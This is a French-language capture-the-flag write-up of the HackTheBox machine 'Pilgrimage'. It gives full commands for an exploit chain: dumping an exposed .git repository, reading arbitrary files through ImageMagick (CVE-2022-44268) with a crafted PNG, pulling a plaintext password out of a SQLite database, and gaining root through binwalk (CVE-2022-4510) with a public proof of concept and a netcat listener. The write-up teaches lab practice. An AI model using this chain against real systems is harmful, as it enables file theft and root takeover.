HackTheBox Writeup

Pilgrimage

Pilgrimage

Résumé rapide : Pilgrimage propose un service web qui réduit des images. Le site expose un dépôt .git récupérable, contenant un binaire magick (ImageMagick) vulnérable à la lecture arbitraire de fichiers (CVE-2022-44268). En exploitant ce comportement, on peut lire des fichiers système, reconstruire la base SQLite du site et récupérer des identifiants en clair (ex. emily). En post-exploitation, un service root exécute un script (malwarescan.sh) qui appelle binwalk sur les fichiers uploadés ; la version de binwalk présente sur la machine est vulnérable (CVE-2022-4510) et permet d'obtenir RCE en root via un PNG malicieux.

Le document ci-dessous décrit l'enchaînement reproductible (recon → récupération .git → lecture ImageMagick → extraction SQLite → SSH → exploitation binwalk). J'ai conservé l'entête original en haut du fichier.


Pré-requis locaux

  • nmap, feroxbuster (ou ffuf), git-dumper (ou équivalent), pngcrush, exiv2, xxd, sqlite3, sshpass, wget, binwalk (local pour tests), netcat.

Étapes - Reconnaissance

  1. Scan rapide :
nmap -p22,80 -sC -sV pilgrimage.htb

Explication : détecte SSH (22) et HTTP (80) et récupère versions/headers.

  1. Résolution DNS locale (si redirection) :
echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts

Explication : permet d'accéder au site par son nom d'hôte et d'éviter les redirections gênantes.

  1. Bruteforce répertoires (exemple) :
feroxbuster -u http://pilgrimage.htb -x php -w /usr/share/wordlists/raft-medium-directories.txt

Explication : recherche de chemins utiles (/tmp, /shrunk, /dashboard.php, /register.php, .git selon le cas).


Récupérer le dépôt .git

  1. Récupération :
git-dumper http://pilgrimage.htb git

Explication : lorsque /.git/ est accessible, git-dumper télécharge l'historique et permet de reconstruire le site côté client.

  1. Inspection :
ls git/
file git/magick
./git/magick --version

Explication : identify le binaire embarqué magick (ImageMagick) et sa version, ce qui permet de rechercher des CVE applicables.


Exploitation ImageMagick — lecture de fichiers (CVE-2022-44268)

Principe : ajouter une chunk tEXt nommée profile dans un PNG. La version vulnérable d'ImageMagick interprète la valeur comme un chemin de profil et peut charger/renvoyer le contenu demandé.

  1. Générer PNG malicieux (ex : lire /etc/hosts) :
pngcrush -text a "profile" "/etc/hosts" poc.png

Explication : pngcrush ajoute une entrée tEXt nommée profile pointant vers le fichier à lire.

  1. Soumettre l'image via l'interface (Upload → Shrink). Récupérer l'URL retournée et télécharger l'image traitée :
wget http://pilgrimage.htb/shrunk/XXXXXX.png -O out.png

Explication : l'application retourne une image convertie ; la chunk profile contient l'hex du fichier demandé.

  1. Extraire la section profile et convertir en binaire :
identify -verbose out.png | grep -P "Raw profile type|profile" -A 5
# Exemple de commande pour extraire l'hex et reconstruire
identify -verbose out.png | grep -Po "[0-9a-f]{2,}" | tr -d '\n' | xxd -r -p > recovered.bin
file recovered.bin

Explication : identify montre la donnée hex stockée ; on la reconvertit en binaire pour récupérer le fichier original.

  1. Si la sortie est une DB SQLite :
sqlite3 recovered.bin
sqlite> .tables
sqlite> select * from users;

Explication : la base peut contenir des comptes et mots de passe en clair (ex. emily|abigchonkyboi123).


Accès utilisateur (foothold)

sshpass -p 'abigchonkyboi123' ssh [email protected]
cat /home/emily/user.txt

Explication : utilise les identifiants récupérés pour obtenir une session SSH et récupérer user.txt.


Escalade de privilèges — analyse et exploitation

Observations : en root tourne un script malwarescan.sh qui surveille /var/www/pilgrimage.htb/shrunk/ avec inotifywait puis lance /usr/local/bin/binwalk -e sur chaque nouveau fichier.

ps aux | grep malwarescan.sh
cat /usr/sbin/malwarescan.sh

Explication : le script lance binwalk en tant que root, ce qui donne une surface d'attaque si binwalk est vulnérable.

Vulnérabilité ciblée : binwalk v2.3.2 (CVE-2022-4510) — un exploit permet d'écrire des fichiers arbitraires via les artefacts extraits et d'exécuter du code.

  1. Générer le PNG d'exploitation binwalk_exploit.png (outil public / PoC) :
# exemple : utiliser script walkingpath ou exploit du dépôt 51249 (searchsploit)
python3 walkingpath.py ssh root.png ~/keys/ed25519_gen.pub

Explication : l'exploit génère un PNG qui, une fois analysé par binwalk -e, produit un plugin/artifact permettant d'écrire une clé publique dans root ou d'obtenir un shell.

  1. Transférer le PNG vers le répertoire observé par le script :
sshpass -p 'abigchonkyboi123' scp binwalk_exploit.png [email protected]:/var/www/pilgrimage.htb/shrunk/

Explication : le fichier upload déclenchera inotifywait puis binwalk côté root.

  1. Écouter le callback (listener) :
nc -lvnp 9001

Explication : si l'exploit fonctionne, binwalk exécutera la charge utile et on obtient un shell root.

  1. Vérifier root.txt :
ssh -i ~/keys/ed25519_gen [email protected]
cat /root/root.txt

Commandes utiles (récapitulatif rapide)

  • nmap -p22,80 -sC -sV pilgrimage.htb : scan initial.
  • git-dumper http://pilgrimage.htb git : récupérer le dépôt .git accessible.
  • pngcrush -text a "profile" "/etc/hosts" poc.png : construire PNG pour CVE-44268.
  • identify -verbose out.png / exiv2 -pS out.png : inspecter metadata et chunk profile.
  • xxd -r -p / tr -d '\n' | xxd -r -p : convertir hex → binaire.
  • sqlite3 pilgrimage.sqlite : ouvrir la DB extraite.
  • sshpass -p '<pass>' ssh user@host : connexion SSH non interactive pour tests.
  • python3 walkingpath.py ... ou PoC 51249 : générer PNG pour l'exploit binwalk.

Remarques et bonnes pratiques

  • Conserver une copie locale du .git récupéré pour analyser versions et binaires embarqués.
  • Toujours tester les PoC localement sur un environnement contrôlé avant upload.
  • Faire attention aux fichiers binaires retournés par ImageMagick (décodage hex strict nécessaire).
  • Ne pas déposer de données sensibles sur des hôtes publics lors des tests.